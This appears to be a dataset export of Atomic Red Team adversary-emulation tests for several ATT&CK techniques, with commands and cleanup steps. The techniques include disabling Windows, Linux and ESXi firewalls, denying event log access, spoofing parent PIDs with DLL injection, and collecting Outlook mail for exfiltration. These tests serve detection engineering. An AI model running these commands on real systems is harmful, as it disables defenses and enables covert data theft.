deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Modify Event Log Access Permissions via Registry - PowerShell
Platforms: windows
Executor: powershell

Description:
This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the "CustomSD" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Command:
Set-ItemProperty -Path #{CustomSDPath} -Name "CustomSD" -Value "O:SYG:SYD:(D;;0x1;;;WD)"

Cleanup:
Remove-ItemProperty -Path #{CustomSDPath} -Name "CustomSD"
Atomic Red Team — T1027.004: Obfuscated Files or Information: Compile After Delivery
Test: Compile After Delivery using csc.exe
Platforms: windows
Executor: command_prompt

Description:
Compile C# code using csc.exe binary used by .NET
Upon execution an exe named T1027.004.exe will be placed in the temp folder


Command:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} "#{input_file}"


Cleanup:
del #{output_file} >nul 2>&1


Dependencies:
C# file must exist on disk at specified location (#{input_file})
Atomic Red Team — T1027.004: Obfuscated Files or Information: Compile After Delivery
Test: Dynamic C# Compile
Platforms: windows
Executor: powershell

Description:
When C# is compiled dynamically, a .cmdline file will be created as a part of the process. 
Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.
The exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.
Upon execution, the exe will print 'T1027.004 Dynamic Compile'.


Command:
Invoke-Expression "#{input_file}"


Dependencies:
exe file must exist on disk at specified location (#{input_file})
Atomic Red Team — T1027.004: Obfuscated Files or Information: Compile After Delivery
Test: C compile
Platforms: linux, macos
Executor: sh

Description:
Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.


Command:
gcc #{input_file} && ./a.out
clang #{input_file} && ./a.out


Dependencies:
the source file must exist on disk at specified location (#{input_file})
Atomic Red Team — T1027.004: Obfuscated Files or Information: Compile After Delivery
Test: CC compile
Platforms: linux, macos
Executor: sh

Description:
Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.


Command:
g++ #{input_file} && ./a.out
clang++ #{input_file} && ./a.out


Dependencies:
the source file must exist on disk at specified location (#{input_file})
Atomic Red Team — T1027.004: Obfuscated Files or Information: Compile After Delivery
Test: Go compile
Platforms: linux, macos
Executor: sh

Description:
Compile a go file with golang on FreeBSD, Linux or Macos.


Command:
go run #{input_file}


Dependencies:
the source file must exist on disk at specified location (#{input_file})
# T1114.001 - Email Collection: Local Email Collection

## Description from ATT&CK

> Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.
> 
> Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)

[Source](https://attack.mitre.org/techniques/T1114/001)

## Atomic Tests

- [Atomic Test #1: Email Collection with PowerShell Get-Inbox](#atomic-test-1-email-collection-with-powershell-get-inbox)

### Atomic Test #1: Email Collection with PowerShell Get-Inbox

Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file.

Note: Outlook is required, but no email account necessary to produce artifacts.

**Supported Platforms:** Windows

**auto_generated_guid:** `3f1b5096-0139-4736-9b78-19bcb02bb1cb`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Output file path | string | $env:TEMP&#92;mail.csv|
| file_path | File path for Get-Inbox.ps1 | string | PathToAtomicsFolder&#92;T1114.001&#92;src|

#### Attack Commands: Run with `powershell`!

```powershell
powershell -executionpolicy bypass -command "#{file_path}\Get-Inbox.ps1" -file #{output_file}
```

#### Cleanup Commands

```powershell
Remove-Item #{output_file} -Force -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Get-Inbox.ps1 must be located at #{file_path}

###### Check Prereq Commands

```powershell
if (Test-Path "#{file_path}\Get-Inbox.ps1") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114.001/src/Get-Inbox.ps1" -OutFile "#{file_path}\Get-Inbox.ps1"
```
Atomic Red Team — T1114.001: Email Collection: Local Email Collection
Test: Email Collection with PowerShell Get-Inbox
Platforms: windows
Executor: powershell

Description:
Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file.

Note: Outlook is required, but no email account necessary to produce artifacts.


Command:
powershell -executionpolicy bypass -command "#{file_path}\Get-Inbox.ps1" -file #{output_file}


Cleanup:
Remove-Item #{output_file} -Force -ErrorAction Ignore


Dependencies:
Get-Inbox.ps1 must be located at #{file_path}
Atomic Red Team — T1134.004: Access Token Manipulation: Parent PID Spoofing
Test: Parent PID Spoofing using PowerShell
Platforms: windows
Executor: powershell

Description:
This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and
calc.exe will be launched.

Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)


Command:
. "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"


Cleanup:
Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore
Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore


Dependencies:
DLL to inject must exist on disk at specified location (#{dll_path})

PPID.ps1 must exist on disk at $PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1
Atomic Red Team — T1134.004: Access Token Manipulation: Parent PID Spoofing
Test: Parent PID Spoofing - Spawn from Current Process
Platforms: windows
Executor: powershell

Description:
Spawns a powershell.exe process as a child of the current process.

Command:
Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid}

Dependencies:
The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.
Atomic Red Team — T1134.004: Access Token Manipulation: Parent PID Spoofing
Test: Parent PID Spoofing - Spawn from Specified Process
Platforms: windows
Executor: powershell

Description:
Spawns a notepad.exe process as a child of the current process.

Command:
Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid #{test_guid}

Dependencies:
The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.
Atomic Red Team — T1134.004: Access Token Manipulation: Parent PID Spoofing
Test: Parent PID Spoofing - Spawn from svchost.exe
Platforms: windows
Executor: powershell

Description:
Spawnd a process as a child of the first accessible svchost.exe process.

Command:
Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = 'svchost.exe' AND CommandLine LIKE '%'" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'

Dependencies:
The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.
Atomic Red Team — T1134.004: Access Token Manipulation: Parent PID Spoofing
Test: Parent PID Spoofing - Spawn from New Process
Platforms: windows
Executor: powershell

Description:
Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.

Command:
Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'

Dependencies:
The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Disable Microsoft Defender Firewall
Platforms: windows
Executor: command_prompt

Description:
Disables the Microsoft Defender Firewall for the current profile.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...


Command:
netsh advfirewall set currentprofile state off


Cleanup:
netsh advfirewall set currentprofile state on >nul 2>&1
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Disable Microsoft Defender Firewall via Registry
Platforms: windows
Executor: command_prompt

Description:
Disables the Microsoft Defender Firewall for the public profile via registry
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...


Command:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f


Cleanup:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 1 /f
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Allow SMB and RDP on Microsoft Defender Firewall
Platforms: windows
Executor: command_prompt

Description:
Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...


Command:
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes


Cleanup:
netsh advfirewall reset >nul 2>&1
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Opening ports for proxy - HARDRAIN
Platforms: windows
Executor: command_prompt

Description:
This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.

reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf


Command:
netsh advfirewall firewall add rule name="atomic testing" action=allow dir=in protocol=TCP localport=450 


Cleanup:
netsh advfirewall firewall delete rule name="atomic testing" protocol=TCP localport=450 >nul 2>&1
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Open a local port through Windows Firewall to any profile
Platforms: windows
Executor: powershell

Description:
This test will attempt to open a local port defined by input arguments to any profile

Command:
netsh advfirewall firewall add rule name="Open Port to Any" dir=in protocol=tcp localport=#{local_port} action=allow profile=any

Cleanup:
netsh advfirewall firewall delete rule name="Open Port to Any" | Out-Null
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Allow Executable Through Firewall Located in Non-Standard Location
Platforms: windows
Executor: powershell

Description:
This test will attempt to allow an executable through the system firewall located in the Users directory

Command:
Copy-Item "#{exe_file_path}" -Destination "C:\Users\$env:UserName" -Force
netsh advfirewall firewall add rule name="Atomic Test" dir=in action=allow program="C:\Users\$env:UserName\AtomicTest.exe" enable=yes


Cleanup:
netsh advfirewall firewall delete rule name="Atomic Test" | Out-Null
Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Stop/Start UFW firewall
Platforms: linux
Executor: sh

Description:
Stop the Uncomplicated Firewall (UFW) if installed.


Command:
ufw disable


Cleanup:
ufw enable
ufw status verbose


Dependencies:
Check if ufw is installed on the machine.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Stop/Start Packet Filter
Platforms: linux
Executor: sh

Description:
Stop the Packet Filter if installed.


Command:
service pf stop
service pf disable


Cleanup:
service pf enable
service pf start
service pf status


Dependencies:
Check if pfctl is installed on the machine.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Stop/Start UFW firewall systemctl
Platforms: linux
Executor: sh

Description:
Stop the Uncomplicated Firewall (UFW) if installed, using systemctl. 


Command:
systemctl stop ufw


Cleanup:
systemctl start ufw
systemctl status ufw


Dependencies:
Check if systemctl and ufw is installed on the machine.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Turn off UFW logging
Platforms: linux
Executor: sh

Description:
Turn off the Uncomplicated Firewall (UFW) logging. 


Command:
ufw logging off


Cleanup:
ufw logging low
ufw status verbose


Dependencies:
Check if ufw is installed on the machine and enabled.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Add and delete UFW firewall rules
Platforms: linux
Executor: sh

Description:
Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled. 


Command:
ufw prepend deny from 1.2.3.4
ufw status numbered


Cleanup:
{ echo y; echo response; } | ufw delete 1
ufw status numbered


Dependencies:
Check if ufw is installed on the machine and enabled.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Add and delete Packet Filter rules
Platforms: linux
Executor: sh

Description:
Add and delete a rule on the Packet Filter (PF) if installed and enabled. 


Command:
echo "block in proto tcp from 1.2.3.4 to any" | pfctl -a pf-rules -f -
pfctl -a pf-rules -s rules


Cleanup:
pfctl -a pf-rules -F rules
sed -i "" '/anchor pf-rules/d'
pfctl -f /etc/pf.conf


Dependencies:
Check if pf is installed on the machine and enabled.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Edit UFW firewall user.rules file
Platforms: linux
Executor: sh

Description:
Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.


Command:
echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules
grep "# THIS IS A COMMENT" /etc/ufw/user.rules


Cleanup:
sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/user.rules


Dependencies:
Check if /etc/ufw/user.rules exists.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Edit UFW firewall ufw.conf file
Platforms: linux
Executor: sh

Description:
Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf 
which controls if the firewall starts on boot and its logging level.


Command:
echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf
grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf


Cleanup:
sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf
cat /etc/ufw/ufw.conf


Dependencies:
Check if /etc/ufw/ufw.conf exists.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Edit UFW firewall sysctl.conf file
Platforms: linux
Executor: sh

Description:
Edit the Uncomplicated Firewall (UFW) configuration file for setting network 
variables /etc/ufw/sysctl.conf.


Command:
echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf
grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf


Cleanup:
sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf
cat /etc/ufw/sysctl.conf


Dependencies:
Check if /etc/ufw/sysctl.conf exists.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Edit UFW firewall main configuration file
Platforms: linux
Executor: sh

Description:
Edit the Uncomplicated Firewall (UFW) main configuration file for setting 
default policies /etc/default/ufw.


Command:
echo "# THIS IS A COMMENT" >> /etc/default/ufw
grep "# THIS IS A COMMENT" /etc/default/ufw


Cleanup:
sed -i 's/# THIS IS A COMMENT//g' /etc/default/ufw


Dependencies:
Check if /etc/default/ufw exists.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Tail the UFW firewall log file
Platforms: linux
Executor: sh

Description:
Print  the last 10 lines of the Uncomplicated Firewall (UFW) log file 
/var/log/ufw.log.


Command:
tail /var/log/ufw.log


Dependencies:
Check if /var/log/ufw.log exists.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Disable iptables
Platforms: linux
Executor: sh

Description:
Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) 
Attackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables 
rules, which in fact "disable" iptables. 


Command:
iptables-save > /tmp/iptables.rules
iptables -F


Cleanup:
iptables-restore < /tmp/iptables.rules


Dependencies:
Check if iptables is installed on the machine.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Modify/delete iptables firewall rules
Platforms: linux
Executor: sh

Description:
Instead of completely "disabling" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.
By doing so, they may cause less noise to avoid detection. 


Command:
iptables -D OUTPUT -p tcp --dport 21 -j DROP


Cleanup:
iptables-restore < /tmp/iptables.rules


Dependencies:
Check if iptables is installed on the machine.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: LockBit Black - Unusual Windows firewall registry modification -cmd
Platforms: windows
Executor: command_prompt

Description:
An adversary tries to modify the windows firewall registry


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /f >nul 2>&1
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: LockBit Black - Unusual Windows firewall registry modification -Powershell
Platforms: windows
Executor: powershell

Description:
An adversary tries to modify the windows firewall registry.


Command:
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force


Cleanup:
Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile"  -Name EnableFirewall -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -Force -ErrorAction Ignore
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Blackbit - Disable Windows Firewall using netsh firewall
Platforms: windows
Executor: command_prompt

Description:
An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works).     


Command:
netsh firewall set opmode mode=disable


Cleanup:
netsh firewall set opmode mode=enable >nul 2>&1
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: ESXi - Disable Firewall via Esxcli
Platforms: windows
Executor: command_prompt

Description:
Adversaries may disable the ESXI firewall via ESXCLI


Command:
#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1686\src\esxi_disable_firewall.txt


Cleanup:
#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1686\src\esxi_enable_firewall.txt


Dependencies:
The plink executable must be found in the ExternalPayloads folder.
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: Set a firewall rule using New-NetFirewallRule
Platforms: windows
Executor: powershell

Description:
This test will attempt to create a new inbound/outbound firewall rule using the New-NetFirewallRule commandlet.

Command:
New-NetFirewallRule -DisplayName "New rule" -Direction "#{direction}" -LocalPort "#{local_port}" -Protocol "#{protocol}" -Action "#{action}"

Cleanup:
Remove-NetFirewallRule -DisplayName "New rule"
Atomic Red Team — T1686: Disable or Modify System Firewall
Test: ESXi - Set Firewall to PASS Traffic
Platforms: windows
Executor: command_prompt

Description:
This test sets the default ESXi firewall action to PASS instead of DROP. This allows all incoming and outgoing traffic.


Command:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli network firewall set --default-action true"


Cleanup:
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli network firewall set --default-action false"


Dependencies:
The plink executable must be found in the ExternalPayloads folder.
Atomic Red Team — T1070.005: Indicator Removal on Host: Network Share Connection Removal
Test: Add Network Share
Platforms: windows
Executor: command_prompt

Description:
Add a Network Share utilizing the command_prompt


Command:
net use c: #{share_name}
net share test=#{share_name} /REMARK:"test share" /CACHE:No
Atomic Red Team — T1070.005: Indicator Removal on Host: Network Share Connection Removal
Test: Remove Network Share
Platforms: windows
Executor: command_prompt

Description:
Removes a Network Share utilizing the command_prompt


Command:
net share #{share_name} /delete
Atomic Red Team — T1070.005: Indicator Removal on Host: Network Share Connection Removal
Test: Remove Network Share PowerShell
Platforms: windows
Executor: powershell

Description:
Removes a Network Share utilizing PowerShell


Command:
Remove-SmbShare -Name #{share_name}
Remove-FileShare -Name #{share_name}